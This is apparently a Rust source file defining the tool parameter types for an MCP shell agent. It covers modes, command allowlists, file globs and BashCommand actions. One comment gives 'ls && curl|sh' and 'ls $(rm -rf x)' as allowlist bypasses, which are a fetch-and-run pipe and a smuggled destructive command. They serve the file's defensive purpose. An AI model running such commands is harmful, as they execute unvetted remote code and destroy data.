Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9    if filtered.is_empty() {
10        return filtered;
11    }
12
13    // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14    // can otherwise create pathologically long state-file names. Preserve safe,
15    // short ids verbatim; every changed or oversized id receives a stable hash of
16    // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17    if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18        return filtered;
19    }
20
21    let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22    let mut prefix = String::with_capacity(prefix_budget);
23    for character in filtered.chars() {
24        if prefix.len() + character.len_utf8() > prefix_budget {
25            break;
26        }
27        prefix.push(character);
28    }
29    format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39    /// Screen is actively working (scanned across the whole screen). E.g.
40    /// `["esc to interrupt", "generating"]`.
41    #[serde(default)]
42    pub busy: Vec<String>,
43    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44    #[serde(default)]
45    pub awaiting_input: Vec<String>,
46    /// Screen is asking for confirmation (scanned in the tail). E.g.
47    /// `["do you want", "y/n"]`.
48    #[serde(default)]
49    pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53    /// True when no markers are configured (nothing to recognize).
54    pub fn is_empty(&self) -> bool {
55        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56    }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63    let mut hash: u32 = 0x811c_9dc5;
64    for byte in s.bytes() {
65        hash ^= u32::from(byte);
66        hash = hash.wrapping_mul(0x0100_0193);
67    }
68    hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78    /// Initial call at the start of a conversation
79    ///
80    /// This should be used for the first Initialize call in a conversation.
81    /// It sets up a new shell environment with the specified parameters.
82    FirstCall,
83
84    /// User requested to change the mode
85    ///
86    /// This should be used when the user asks to switch between modes
87    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88    UserAskedModeChange,
89
90    /// Reset the shell environment due to issues
91    ///
92    /// This should be used when the shell environment appears to be in a bad state
93    /// and needs to be reset to continue properly.
94    ResetShell,
95
96    /// User requested to change the workspace
97    ///
98    /// This should be used when the user asks to switch to a different
99    /// workspace or project directory during the conversation.
100    UserAskedChangeWorkspace,
101}
102
103#[derive(Debug, Clone, PartialEq)]
104pub enum ModeName {
105    Wcgw,
106    Architect,
107    CodeWriter,
108}
109
110// Custom serializer implementation to ensure values are properly quoted in JSON
111impl Serialize for ModeName {
112    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
113    where
114        S: serde::Serializer,
115    {
116        match self {
117            ModeName::Wcgw => serializer.serialize_str("wcgw"),
118            ModeName::Architect => serializer.serialize_str("architect"),
119            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
120        }
121    }
122}
123
124// Custom deserializer to support multiple aliases
125impl<'de> Deserialize<'de> for ModeName {
126    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
127    where
128        D: serde::Deserializer<'de>,
129    {
130        let s = String::deserialize(deserializer)?;
131        match s.as_str() {
132            "wcgw" => Ok(ModeName::Wcgw),
133            "architect" => Ok(ModeName::Architect),
134            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
135            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
136        }
137    }
138}
139
140// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
141// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
142// `#/definitions/ModeName`, a node that was never populated. Lenient clients
143// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
144// likely ChatGPT) reject the whole tool call: "Reference not found:
145// #/definitions/ModeName". The variants mirror the Serialize impl above.
146impl JsonSchema for ModeName {
147    fn schema_name() -> std::borrow::Cow<'static, str> {
148        "ModeName".into()
149    }
150
151    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
152        schemars::json_schema!({
153            "type": "string",
154            "enum": ["wcgw", "architect", "code_writer"],
155            "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
156        })
157    }
158}
159
160#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
161pub struct CodeWriterConfig {
162    #[serde(default)]
163    pub allowed_globs: AllowedGlobs,
164    #[serde(default)]
165    pub allowed_commands: AllowedCommands,
166}
167
168impl CodeWriterConfig {
169    pub fn update_relative_globs(&mut self, workspace_root: &str) {
170        // Only process if we have a list of globs
171        if let AllowedGlobs::List(globs) = &self.allowed_globs {
172            let updated_globs = globs
173                .iter()
174                .map(|glob| {
175                    if std::path::Path::new(glob).is_absolute() {
176                        glob.clone()
177                    } else {
178                        format!("{workspace_root}/{glob}")
179                    }
180                })
181                .collect();
182
183            self.allowed_globs = AllowedGlobs::List(updated_globs);
184        }
185    }
186}
187
188#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
189#[serde(untagged)]
190pub enum AllowedGlobs {
191    All(String),
192    List(Vec<String>),
193}
194
195impl Default for AllowedGlobs {
196    fn default() -> Self {
197        AllowedGlobs::All("all".to_string())
198    }
199}
200
201impl AllowedGlobs {
202    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
203    /// Without this, a literal glob named "all" would be the only allowed path.
204    pub fn normalize(&mut self) {
205        if let AllowedGlobs::List(items) = self {
206            if items.len() == 1 && items[0] == "all" {
207                *self = AllowedGlobs::All("all".to_string());
208            }
209        }
210    }
211
212    #[allow(dead_code)]
213    pub fn is_allowed(&self, path: &str) -> bool {
214        match self {
215            AllowedGlobs::All(s) if s == "all" => true,
216            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
217                Ok(pattern) => pattern.matches(path),
218                Err(_) => false,
219            }),
220            AllowedGlobs::All(_) => false,
221        }
222    }
223}
224
225#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
226#[serde(untagged)]
227pub enum AllowedCommands {
228    All(String),
229    List(Vec<String>),
230}
231
232impl Default for AllowedCommands {
233    fn default() -> Self {
234        AllowedCommands::All("all".to_string())
235    }
236}
237
238impl AllowedCommands {
239    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
240    pub fn normalize(&mut self) {
241        if let AllowedCommands::List(items) = self {
242            if items.len() == 1 && items[0] == "all" {
243                *self = AllowedCommands::All("all".to_string());
244            }
245        }
246    }
247
248    pub fn is_allowed(&self, command_line: &str) -> bool {
249        match self {
250            AllowedCommands::All(s) if s == "all" => true,
251            AllowedCommands::All(_) => false,
252            AllowedCommands::List(commands) => {
253                // Enforce the allowlist against EVERY command the line would run
254                // (pipelines, &&/||/;, command & process substitution, subshells),
255                // not just the first whitespace token — which `ls && curl|sh` and
256                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
257                // closed: a restricted mode must not run what it can't vet.
258                match crate::utils::bash_parser::extract_command_texts(command_line) {
259                    Ok(cmds) if !cmds.is_empty() => cmds
260                        .iter()
261                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
262                    _ => false,
263                }
264            }
265        }
266    }
267}
268
269/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
270/// enforcing a word boundary so `ls` does not also permit `lsof`, and
271/// `cargo test` does not permit `cargo testimony`.
272fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
273    let cmd = cmd.trim();
274    let allowed = allowed.trim();
275    if allowed.is_empty() {
276        return false;
277    }
278    cmd == allowed
279        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
280}
281
282/// Parameters for initializing the shell environment
283///
284/// This struct represents the parameters needed to initialize or update the shell environment.
285/// It is used by the Initialize tool, which must be called before any other shell tools.
286#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
287pub struct Initialize {
288    /// Initialization type, indicating the purpose of the call
289    ///
290    /// - `FirstCall`: Initial setup for a new conversation
291    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
292    /// - `ResetShell`: Reset the shell if it's not working properly
293    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
294    #[serde(rename = "type")]
295    #[serde(default = "default_init_type")]
296    pub init_type: InitializeType,
297
298    /// Path to the workspace directory or file
299    ///
300    /// This can be an absolute path or a path relative to the current directory.
301    /// If it's a file, the parent directory will be used as the workspace.
302    /// If it doesn't exist and is an absolute path, it will be created.
303    /// If it's a relative path and doesn't exist, an error will be returned.
304    pub any_workspace_path: String,
305
306    /// List of files to read initially
307    ///
308    /// These files can be absolute paths or paths relative to the workspace.
309    /// They will be read and their contents provided in the response.
310    #[serde(default)]
311    pub initial_files_to_read: Vec<String>,
312
313    /// ID of a task to resume
314    ///
315    /// If provided during a `first_call`, the task with this ID will be resumed.
316    /// This allows continuing a conversation from a previous session.
317    #[serde(default = "String::new")]
318    #[serde(deserialize_with = "deserialize_string_or_null")]
319    pub task_id_to_resume: String,
320
321    /// Mode name for the shell environment
322    ///
323    /// - `wcgw`: Full permissions (default)
324    /// - `architect`: Restricted permissions, read-only
325    /// - `code_writer`: Custom permissions for code writing
326    #[serde(default = "default_mode_name")]
327    pub mode_name: ModeName,
328
329    /// ID of the thread session
330    ///
331    /// If not provided for a `first_call`, a new ID will be generated.
332    /// This ID must be included in all subsequent tool calls.
333    #[serde(default)]
334    #[serde(deserialize_with = "deserialize_string_or_null")]
335    pub thread_id: String,
336
337    /// Configuration for `code_writer` mode
338    ///
339    /// Only used when `mode_name` is "`code_writer`".
340    /// Specifies allowed commands and file globs for writing/editing.
341    #[serde(default)]
342    #[serde(deserialize_with = "deserialize_code_writer_config")]
343    pub code_writer_config: Option<CodeWriterConfig>,
344}
345
346// Custom deserializer for strings that might be null
347fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
348where
349    D: serde::Deserializer<'de>,
350{
351    // First try to deserialize as a string
352    let result = serde_json::Value::deserialize(deserializer)?;
353
354    match result {
355        // Return empty string for null values
356        serde_json::Value::Null => Ok(String::new()),
357        // If it's a string, use that
358        serde_json::Value::String(s) => {
359            // Handle "null" string specially
360            if s == "null" {
361                Ok(String::new())
362            } else {
363                Ok(s)
364            }
365        }
366        // Otherwise try to convert to a string
367        _ => match serde_json::to_string(&result) {
368            Ok(s) => Ok(s),
369            Err(_) => Ok(String::new()),
370        },
371    }
372}
373
374// Custom deserializer for code_writer_config that handles the "null" string case
375fn deserialize_code_writer_config<'de, D>(
376    deserializer: D,
377) -> Result<Option<CodeWriterConfig>, D::Error>
378where
379    D: serde::Deserializer<'de>,
380{
381    // This handles multiple possible input types
382    let value = serde_json::Value::deserialize(deserializer)?;
383
384    match value {
385        // If it's explicitly null or the string "null", return None
386        serde_json::Value::Null => Ok(None),
387        serde_json::Value::String(s) if s == "null" => Ok(None),
388        // Otherwise try to parse it as CodeWriterConfig
389        _ => {
390            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
391                Ok(config) => {
392                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
393                    Ok(Some(config))
394                }
395                Err(e) => {
396                    // Fail loud. A malformed restricted-mode config must NOT silently
397                    // degrade to `None` — `None` falls back to All commands / All globs,
398                    // so the model would believe the shell is locked down while it is in
399                    // fact wide open. Refuse to initialize instead.
400                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
401                    Err(serde::de::Error::custom(format!(
402                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
403                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
404                         to opt out explicitly)."
405                    )))
406                }
407            }
408        }
409    }
410}
411
412/// Default `mode_name` for Initialize
413fn default_mode_name() -> ModeName {
414    ModeName::Wcgw
415}
416
417/// Default `init_type` for Initialize
418fn default_init_type() -> InitializeType {
419    InitializeType::FirstCall
420}
421
422// Mode types
423#[derive(Debug, Clone, Copy, PartialEq)]
424pub enum Modes {
425    Wcgw,
426    Architect,
427    CodeWriter,
428}
429
430/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
431/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
432/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
433/// variant maps to a `Modes` one — adding a variant to either enum without the
434/// other becomes a compile error here.
435impl From<&ModeName> for Modes {
436    fn from(name: &ModeName) -> Self {
437        match name {
438            ModeName::Wcgw => Modes::Wcgw,
439            ModeName::Architect => Modes::Architect,
440            ModeName::CodeWriter => Modes::CodeWriter,
441        }
442    }
443}
444
445impl std::fmt::Display for Modes {
446    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
447        match self {
448            Modes::Wcgw => write!(f, "wcgw"),
449            Modes::Architect => write!(f, "architect"),
450            Modes::CodeWriter => write!(f, "code_writer"),
451        }
452    }
453}
454
455// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
456// `#/definitions/Modes` was dangling and breaks strict MCP clients.
457impl JsonSchema for Modes {
458    fn schema_name() -> std::borrow::Cow<'static, str> {
459        "Modes".into()
460    }
461
462    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
463        schemars::json_schema!({
464            "type": "string",
465            "enum": ["wcgw", "architect", "code_writer"]
466        })
467    }
468}
469
470/// Special key types for shell interaction
471/// Matches wcgw Python's Specials enum exactly
472#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
473pub enum SpecialKey {
474    Enter,
475    #[serde(rename = "Key-up")]
476    KeyUp,
477    #[serde(rename = "Key-down")]
478    KeyDown,
479    #[serde(rename = "Key-left")]
480    KeyLeft,
481    #[serde(rename = "Key-right")]
482    KeyRight,
483    #[serde(rename = "Ctrl-c")]
484    CtrlC,
485    #[serde(rename = "Ctrl-d")]
486    CtrlD,
487    #[serde(rename = "Ctrl-z")]
488    CtrlZ,
489}
490
491/// Parameters for the `ReadFiles` tool
492///
493/// This struct represents the parameters needed to read one or more files.
494/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
495#[derive(Debug, Clone, Serialize, JsonSchema)]
496pub struct ReadFiles {
497    /// List of file paths to read.
498    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
499    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
500    pub file_paths: Vec<String>,
501
502    /// Optional thread ID identifying the shell session to operate on. When
503    /// omitted, the most recently active session is used.
504    #[serde(default)]
505    pub thread_id: String,
506
507    // Internal fields - not part of MCP schema (parsed from file_paths)
508    #[serde(skip)]
509    #[schemars(skip)]
510    pub start_line_nums: Vec<Option<usize>>,
511
512    #[serde(skip)]
513    #[schemars(skip)]
514    pub end_line_nums: Vec<Option<usize>>,
515}
516
517// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
518impl<'de> Deserialize<'de> for ReadFiles {
519    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
520    where
521        D: serde::Deserializer<'de>,
522    {
523        #[derive(Deserialize)]
524        struct ReadFilesHelper {
525            file_paths: Option<Vec<String>>,
526            #[serde(default)]
527            thread_id: Option<String>,
528        }
529
530        let input = serde_json::Value::deserialize(deserializer)?;
531
532        if !input.is_object() {
533            if input.is_null() {
534                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
535            }
536            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
537        }
538
539        let helper: ReadFilesHelper = serde_json::from_value(input)
540            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
541
542        let thread_id = helper.thread_id.unwrap_or_default();
543        let file_paths = match helper.file_paths {
544            Some(paths) if !paths.is_empty() => paths,
545            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
546            None => return Err(serde::de::Error::custom("file_paths is required.")),
547        };
548
549        // Parse line ranges from file paths (like wcgw Python's model_post_init)
550        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
551        let mut start_line_nums = Vec::with_capacity(file_paths.len());
552        let mut end_line_nums = Vec::with_capacity(file_paths.len());
553
554        for path in file_paths {
555            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
556            clean_file_paths.push(clean_path);
557            start_line_nums.push(start);
558            end_line_nums.push(end);
559        }
560
561        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
562    }
563}
564
565fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
566    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
567        return (path.to_string(), None, None);
568    };
569
570    let Some((start, end)) = parse_line_spec(line_spec) else {
571        return (path.to_string(), None, None);
572    };
573
574    (potential_path.to_string(), start, end)
575}
576
577fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
578    if line_spec.chars().all(|c| c.is_ascii_digit()) {
579        return line_spec.parse().ok().map(|line| (Some(line), None));
580    }
581
582    let (start, end) = line_spec.split_once('-')?;
583
584    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
585        return end.parse().ok().map(|line| (None, Some(line)));
586    }
587
588    if !start.is_empty()
589        && start.chars().all(|c| c.is_ascii_digit())
590        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
591    {
592        let start = start.parse().ok()?;
593        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
594        return Some((Some(start), end));
595    }
596
597    None
598}
599
600impl ReadFiles {
601    /// Line numbers are always shown (like wcgw Python)
602    pub fn show_line_numbers(&self) -> bool {
603        true
604    }
605
606    /// Get the clean file path without line range suffix
607    pub fn get_clean_path(&self, index: usize) -> String {
608        parse_file_path_with_line_range(&self.file_paths[index]).0
609    }
610}
611
612/// Default true value for `status_check`
613fn default_true() -> bool {
614    true
615}
616
617/// Types of actions that can be performed with the `BashCommand` tool
618#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
619#[serde(tag = "type", rename_all = "snake_case")]
620pub enum BashCommandAction {
621    /// Execute a shell command
622    Command {
623        command: String,
624        #[serde(default)]
625        is_background: bool,
626        /// Opt out of the single-top-level-statement guard. By default winx
627        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
628        /// agent has to be explicit about what it's running. Set this to true
629        /// when you knowingly want to run a composite command without
630        /// wrapping it in `bash -lc '...'`.
631        #[serde(default)]
632        allow_multi: bool,
633    },
634
635    /// Check the status of a running command.
636    ///
637    /// By default returns only what changed since the previous call — agents
638    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
639    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
640    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
641    /// the PTY ringbuffer.
642    StatusCheck {
643        #[serde(default = "default_true")]
644        status_check: bool,
645        bg_command_id: Option<String>,
646        #[serde(default)]
647        scrollback_lines: Option<usize>,
648        #[serde(default)]
649        verbose: bool,
650    },
651
652    /// Send text to a running command. Set `submit` to true to append a carriage
653    /// return after the bytes so the target program receives the input as a
654    /// completed line (matches what hitting Enter would do in a TUI).
655    SendText {
656        /// Text to type into the running program. Must be non-empty: to press
657        /// Enter alone, use `send_specials: ["Enter"]` instead.
658        #[schemars(length(min = 1))]
659        send_text: String,
660        bg_command_id: Option<String>,
661        #[serde(default)]
662        submit: bool,
663    },
664
665    /// Send special keys to a running command. `submit` works the same as in
666    /// `SendText`.
667    SendSpecials {
668        send_specials: Vec<SpecialKey>,
669        bg_command_id: Option<String>,
670        #[serde(default)]
671        submit: bool,
672    },
673
674    /// Send ASCII characters to a running command. `submit` works the same as in
675    /// `SendText`.
676    SendAscii {
677        send_ascii: Vec<u8>,
678        bg_command_id: Option<String>,
679        #[serde(default)]
680        submit: bool,
681    },
682
683    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
684    /// view a human would see right now (cursor moves, redraws, alternate-screen
685    /// and synchronized-output already applied), ANSI stripped. Unlike
686    /// `status_check`, it never stacks redraw generations and never waits — a
687    /// point-in-time photo, ideal for reading an interactive TUI's current frame
688    /// (the `claude` CLI, vim, htop, fzf).
689    Screen {
690        #[serde(default = "default_true")]
691        screen: bool,
692        bg_command_id: Option<String>,
693        /// Last N visible lines to return (0 or omitted = full screen buffer).
694        #[serde(default)]
695        lines: Option<usize>,
696        /// When true, return only the lines that CHANGED since the last `screen`
697        /// look (big token savings when polling a TUI frame-by-frame) instead of
698        /// the whole frame. First look, or a large change, still returns full.
699        #[serde(default)]
700        diff: bool,
701    },
702
703    /// Block until an interactive TUI finishes its turn and is ready for input.
704    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
705    /// with a per-app recognizer, then returns the stable snapshot plus the
706    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
707    WaitForTurn {
708        #[serde(default = "default_true")]
709        wait_for_turn: bool,
710        bg_command_id: Option<String>,
711        /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
712        /// (aka `agy`) or `generic`.
713        #[serde(default)]
714        recognizer: Option<String>,
715        /// Quiet window in ms — the screen must be unchanged this long to count
716        /// as idle (default 600).
717        #[serde(default)]
718        quiet_ms: Option<u64>,
719        /// Hard cap in seconds before returning regardless (default 30).
720        #[serde(default)]
721        timeout_seconds: Option<f32>,
722        /// Visible lines to return in the final snapshot (0 or omitted = full).
723        #[serde(default)]
724        lines: Option<usize>,
725        /// By default `wait_for_turn` returns as soon as it confirms the app is
726        /// actively working (`busy`), instead of blocking until the turn ends or
727        /// `timeout_seconds` elapses — so a long-running child never pins the
728        /// caller for the whole cap (poll again to keep watching). Set this to
729        /// true for the old behavior: block *through* `busy` until the app is
730        /// ready for input (or the timeout fires).
731        #[serde(default)]
732        wait_through_busy: bool,
733    },
734}
735
736/// Parameters for the `BashCommand` tool
737#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
738#[serde(rename_all = "snake_case")]
739pub enum BashWaitPolicy {
740    /// Wait for a bounded inline window. Task-capable clients keep short calls
741    /// inline and promote a command only after the runtime reports it running.
742    #[default]
743    Adaptive,
744    /// Always return the runtime state after a short bounded wait. This policy
745    /// never creates an MCP Task.
746    ReturnEarly,
747    /// Prefer one result after the command exits. Task-capable clients receive
748    /// an MCP Task immediately; other clients receive a bounded synchronous wait.
749    UntilComplete,
750}
751
752/// Parameters for the `BashCommand` tool
753#[derive(Debug, Clone, Serialize, JsonSchema)]
754pub struct BashCommand {
755    /// The action to perform (command, status check, etc.)
756    pub action_json: BashCommandAction,
757
758    /// Requested inline wait in seconds. With the default adaptive policy this
759    /// defaults to 15 without Tasks and is capped to the short promotion window
760    /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
761    /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
762    #[serde(default)]
763    #[serde(skip_serializing_if = "Option::is_none")]
764    pub wait_for_seconds: Option<f32>,
765
766    /// The thread ID for this session
767    #[serde(default)]
768    pub thread_id: String,
769}
770
771// Custom deserialization for BashCommand to handle string-encoded action_json
772impl<'de> Deserialize<'de> for BashCommand {
773    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
774    where
775        D: serde::Deserializer<'de>,
776    {
777        let input = serde_json::Value::deserialize(deserializer)?;
778        let serde_json::Value::Object(mut map) = input else {
779            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
780        };
781
782        let wait_for_seconds = map
783            .remove("wait_for_seconds")
784            .map(serde_json::from_value)
785            .transpose()
786            .map_err(serde::de::Error::custom)?;
787        // `wait_policy` is an MCP adapter concern rather than stored command
788        // state. Validate it here for direct deserializers, then keep the public
789        // `BashCommand` shape source-compatible for library callers.
790        map.remove("wait_policy")
791            .map(serde_json::from_value::<BashWaitPolicy>)
792            .transpose()
793            .map_err(serde::de::Error::custom)?;
794        let thread_id = map
795            .remove("thread_id")
796            .map(thread_id_from_value)
797            .transpose()
798            .map_err(serde::de::Error::custom)?
799            .unwrap_or_default();
800        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
801
802        // Process action_json which could be a string or an object
803        let action_json = match action_json_value {
804            serde_json::Value::String(s) => {
805                // If it's a string, normalize newlines and try to parse it as JSON
806                // Replace literal newlines with space to avoid JSON parsing errors
807                let sanitized = s.replace('\n', " ");
808                match serde_json::from_str(&sanitized) {
809                    Ok(json) => normalize_action_json(json),
810                    Err(e) => {
811                        // If strict JSON parsing fails, try to be more lenient
812                        // For commands containing literal newlines, just wrap the string in a command object
813                        tracing::warn!(
814                            "Failed to parse action_json as JSON, trying fallback: {}",
815                            e
816                        );
817
818                        // Check for common JSON syntax issues
819                        if s.contains("command") && s.contains('{') && s.contains('}') {
820                            // It looks like JSON but has issues, let's try to sanitize it
821
822                            // Detailed error for troubleshooting
823                            tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
824
825                            // Common issues: unescaped quotes, newlines, tabs
826                            let re_sanitized = s
827                                .replace('\n', "\\n") // Replace newlines with escaped newlines
828                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
829                                .replace('\t', "\\t"); // Replace tabs with escaped versions
830
831                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
832                            let re_sanitized = if !s.contains('"') && s.contains(':') {
833                                // Very likely unquoted keys/values
834                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
835                                re_sanitized
836                            } else {
837                                re_sanitized
838                            };
839
840                            match serde_json::from_str(&re_sanitized) {
841                                Ok(json) => normalize_action_json(json),
842                                Err(err) => {
843                                    // Log the specific parsing error for debugging
844                                    tracing::error!("Secondary JSON parse error: {}", err);
845                                    // Last resort fallback - assume it's a command string
846                                    // MUST include "type": "command" for serde tagged enum
847                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
848                                }
849                            }
850                        } else {
851                            // Assume it's a simple command string
852                            // MUST include "type": "command" for serde tagged enum
853                            tracing::info!(
854                                bytes = s.len(),
855                                "Treating action_json as simple command"
856                            );
857                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
858                        }
859                    }
860                }
861            }
862            // If it's already an object or other JSON value, normalize legacy
863            // WCGW-style shorthand such as {"command": "..."}.
864            value => normalize_action_json(value),
865        };
866
867        // Now deserialize the action_json to our BashCommandAction enum
868        let action: BashCommandAction =
869            serde_json::from_value(action_json.clone()).map_err(|e| {
870                tracing::error!(
871                    bytes = action_json.to_string().len(),
872                    "Failed to deserialize action_json to BashCommandAction: {}",
873                    e
874                );
875
876                // For the SyntaxError: Unexpected token case
877                let err_str = e.to_string();
878                if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
879                    return serde::de::Error::custom(format!(
880                        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
881                    ));
882                }
883
884                serde::de::Error::custom(format!(
885                    "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
886                ))
887            })?;
888
889        // Return the properly constructed BashCommand
890        Ok(BashCommand {
891            action_json: action,
892            wait_for_seconds,
893            thread_id: normalize_thread_id(&thread_id),
894        })
895    }
896}
897
898fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
899    match value {
900        serde_json::Value::Null => Ok(String::new()),
901        serde_json::Value::String(value) => Ok(value),
902        other => Err(format!("thread_id must be a string or null, got {other}")),
903    }
904}
905
906fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
907    let serde_json::Value::Object(map) = &mut value else {
908        return value;
909    };
910
911    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
912        *command = sanitize_shell_string(command);
913    }
914
915    if map.contains_key("type") {
916        return value;
917    }
918
919    let inferred_type = if map.contains_key("command") {
920        Some("command")
921    } else if map.contains_key("status_check") {
922        Some("status_check")
923    } else if map.contains_key("send_text") {
924        Some("send_text")
925    } else if map.contains_key("send_specials") {
926        Some("send_specials")
927    } else if map.contains_key("send_ascii") {
928        Some("send_ascii")
929    } else if map.contains_key("screen") {
930        Some("screen")
931    } else if map.contains_key("wait_for_turn") {
932        Some("wait_for_turn")
933    } else {
934        None
935    };
936
937    if let Some(action_type) = inferred_type {
938        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
939    }
940
941    value
942}
943
944fn sanitize_shell_string(value: &str) -> String {
945    value.replace('\0', "\\x00")
946}
947
948// Bash command mode
949#[derive(Debug, Clone, JsonSchema, PartialEq)]
950pub struct BashCommandMode {
951    pub bash_mode: BashMode,
952    pub allowed_commands: AllowedCommands,
953}
954
955#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
956pub enum BashMode {
957    NormalMode,
958    RestrictedMode,
959}
960
961// File edit mode
